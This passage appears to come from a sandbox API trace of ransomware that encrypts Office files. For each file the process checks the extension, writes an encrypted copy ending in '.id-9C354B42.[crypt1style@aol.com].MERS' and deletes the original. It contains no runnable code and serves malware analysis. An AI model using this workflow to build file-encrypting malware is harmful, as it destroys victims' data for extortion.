Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0044.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0044.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0044.327] lstrlenW (lpString=".doc") returned 4 [0044.327] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.327] lstrlenW (lpString=".docx") returned 5 [0044.327] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0044.327] lstrlenW (lpString=".pdf") returned 4 [0044.327] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.328] lstrlenW (lpString=".xls") returned 4 [0044.328] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.328] lstrlenW (lpString=".xlsx") returned 5 [0044.328] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0044.328] lstrlenW (lpString=".ppt") returned 4 [0044.328] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0044.328] lstrlenW (lpString=".zip") returned 4 [0044.328] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.328] lstrlenW (lpString=".rar") returned 4 [0044.328] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.328] lstrlenW (lpString=".bz2") returned 4 [0044.328] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.328] lstrlenW (lpString=".7z") returned 3 [0044.328] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0044.328] lstrlenW (lpString=".dbf") returned 4 [0044.328] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0044.328] lstrlenW (lpString=".1cd") returned 4 [0044.328] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0044.328] lstrlenW (lpString=".jpg") returned 4 [0044.328] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0044.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0044.329] lstrlenW (lpString=".doc") returned 4 [0044.329] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.329] lstrlenW (lpString=".docx") returned 5 [0044.329] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0044.329] lstrlenW (lpString=".pdf") returned 4 [0044.329] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.329] lstrlenW (lpString=".xls") returned 4 [0044.329] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.329] lstrlenW (lpString=".xlsx") returned 5 [0044.329] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0044.329] lstrlenW (lpString=".ppt") returned 4 [0044.329] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0044.329] lstrlenW (lpString=".zip") returned 4 [0044.329] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.329] lstrlenW (lpString=".rar") returned 4 [0044.329] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.329] lstrlenW (lpString=".bz2") returned 4 [0044.329] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.329] lstrlenW (lpString=".7z") returned 3 [0044.329] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0044.329] lstrlenW (lpString=".dbf") returned 4 [0044.329] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0044.329] lstrlenW (lpString=".1cd") returned 4 [0044.329] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0044.330] lstrlenW (lpString=".jpg") returned 4 [0044.330] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.330] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.330] lstrlenW (lpString="SETUP.XML") returned 9 [0044.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0044.386] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=31094) returned 1 [0044.386] CloseHandle (hObject=0x1e4) returned 1 [0044.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0044.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0044.386] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.386] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0044.704] GetLastError () returned 0x0 [0044.704] ReadFile (in: hFile=0x1e4, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x7976, lpOverlapped=0x0) returned 1 [0044.706] WriteFile (in: hFile=0x1f8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0044.707] ReadFile (in: hFile=0x1e4, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.707] WriteFile (in: hFile=0x1f8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.707] SetEndOfFile (hFile=0x1f8) returned 1 [0044.707] CloseHandle (hObject=0x1f8) returned 1 [0044.707] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.707] SetEndOfFile (hFile=0x1e4) returned 1 [0044.708] CloseHandle (hObject=0x1e4) returned 1 [0044.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.709] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0044.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0044.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0044.734] lstrlenW (lpString=".doc") returned 4 [0044.734] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.734] lstrlenW (lpString=".docx") returned 5 [0044.734] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.734] lstrlenW (lpString=".pdf") returned 4 [0044.734] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.734] lstrlenW (lpString=".xls") returned 4 [0044.734] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.734] lstrlenW (lpString=".xlsx") returned 5 [0044.734] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.734] lstrlenW (lpString=".ppt") returned 4 [0044.734] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0044.734] lstrlenW (lpString=".zip") returned 4 [0044.734] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.734] lstrlenW (lpString=".rar") returned 4 [0044.734] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.734] lstrlenW (lpString=".bz2") returned 4 [0044.735] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.735] lstrlenW (lpString=".7z") returned 3 [0044.735] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0044.735] lstrlenW (lpString=".dbf") returned 4 [0044.735] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0044.735] lstrlenW (lpString=".1cd") returned 4 [0044.735] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0044.735] lstrlenW (lpString=".jpg") returned 4 [0044.735] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0044.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0044.735] lstrlenW (lpString=".doc") returned 4 [0044.735] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.735] lstrlenW (lpString=".docx") returned 5 [0044.735] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.735] lstrlenW (lpString=".pdf") returned 4 [0044.735] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.735] lstrlenW (lpString=".xls") returned 4 [0044.735] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.735] lstrlenW (lpString=".xlsx") returned 5 [0044.735] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.735] lstrlenW (lpString=".ppt") returned 4 [0044.735] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0044.736] lstrlenW (lpString=".zip") returned 4 [0044.736] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.736] lstrlenW (lpString=".rar") returned 4 [0044.736] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.736] lstrlenW (lpString=".bz2") returned 4 [0044.736] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.736] lstrlenW (lpString=".7z") returned 3 [0044.736] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0044.736] lstrlenW (lpString=".dbf") returned 4 [0044.736] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0044.736] lstrlenW (lpString=".1cd") returned 4 [0044.736] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0044.736] lstrlenW (lpString=".jpg") returned 4 [0044.736] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.736] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.736] lstrlenW (lpString="VisiorWW.XML") returned 12 [0044.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0044.737] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=8723) returned 1 [0044.737] CloseHandle (hObject=0x1f8) returned 1 [0044.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0044.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0044.737] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.737] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0044.867] GetLastError () returned 0x0 [0044.867] ReadFile (in: hFile=0x1f8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x2213, lpOverlapped=0x0) returned 1 [0044.903] WriteFile (in: hFile=0x17c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0044.904] ReadFile (in: hFile=0x1f8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.904] WriteFile (in: hFile=0x17c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.904] SetEndOfFile (hFile=0x17c) returned 1 [0044.904] CloseHandle (hObject=0x17c) returned 1 [0044.905] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.905] SetEndOfFile (hFile=0x1f8) returned 1 [0044.905] CloseHandle (hObject=0x1f8) returned 1 [0044.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.906] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0044.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0044.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0044.906] lstrlenW (lpString=".doc") returned 4 [0044.906] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.906] lstrlenW (lpString=".docx") returned 5 [0044.906] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0044.906] lstrlenW (lpString=".pdf") returned 4 [0044.906] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.906] lstrlenW (lpString=".xls") returned 4 [0044.906] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.906] lstrlenW (lpString=".xlsx") returned 5 [0044.906] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0044.906] lstrlenW (lpString=".ppt") returned 4 [0044.906] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0044.906] lstrlenW (lpString=".zip") returned 4 [0044.906] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.906] lstrlenW (lpString=".rar") returned 4 [0044.906] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.906] lstrlenW (lpString=".bz2") returned 4 [0044.906] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.906] lstrlenW (lpString=".7z") returned 3 [0044.906] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0044.907] lstrlenW (lpString=".dbf") returned 4 [0044.907] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0044.907] lstrlenW (lpString=".1cd") returned 4 [0044.907] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0044.907] lstrlenW (lpString=".jpg") returned 4 [0044.907] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0044.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0044.907] lstrlenW (lpString=".doc") returned 4 [0044.907] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.907] lstrlenW (lpString=".docx") returned 5 [0044.907] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0044.907] lstrlenW (lpString=".pdf") returned 4 [0044.907] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.907] lstrlenW (lpString=".xls") returned 4 [0044.907] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.907] lstrlenW (lpString=".xlsx") returned 5 [0044.907] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0044.907] lstrlenW (lpString=".ppt") returned 4 [0044.907] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0044.907] lstrlenW (lpString=".zip") returned 4 [0044.907] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.907] lstrlenW (lpString=".rar") returned 4 [0044.907] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.907] lstrlenW (lpString=".bz2") returned 4 [0044.907] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.907] lstrlenW (lpString=".7z") returned 3 [0044.908] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0044.908] lstrlenW (lpString=".dbf") returned 4 [0044.908] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0044.908] lstrlenW (lpString=".1cd") returned 4 [0044.908] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0044.908] lstrlenW (lpString=".jpg") returned 4 [0044.908] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.908] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.908] lstrlenW (lpString="PHONE.XML") returned 9 [0044.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.019] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1844) returned 1 [0045.019] CloseHandle (hObject=0x214) returned 1 [0045.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0045.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.019] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.019] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0045.019] GetLastError () returned 0x0 [0045.019] ReadFile (in: hFile=0x214, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x734, lpOverlapped=0x0) returned 1 [0045.082] WriteFile (in: hFile=0x1d4, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x740, lpOverlapped=0x0) returned 1 [0045.082] ReadFile (in: hFile=0x214, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, 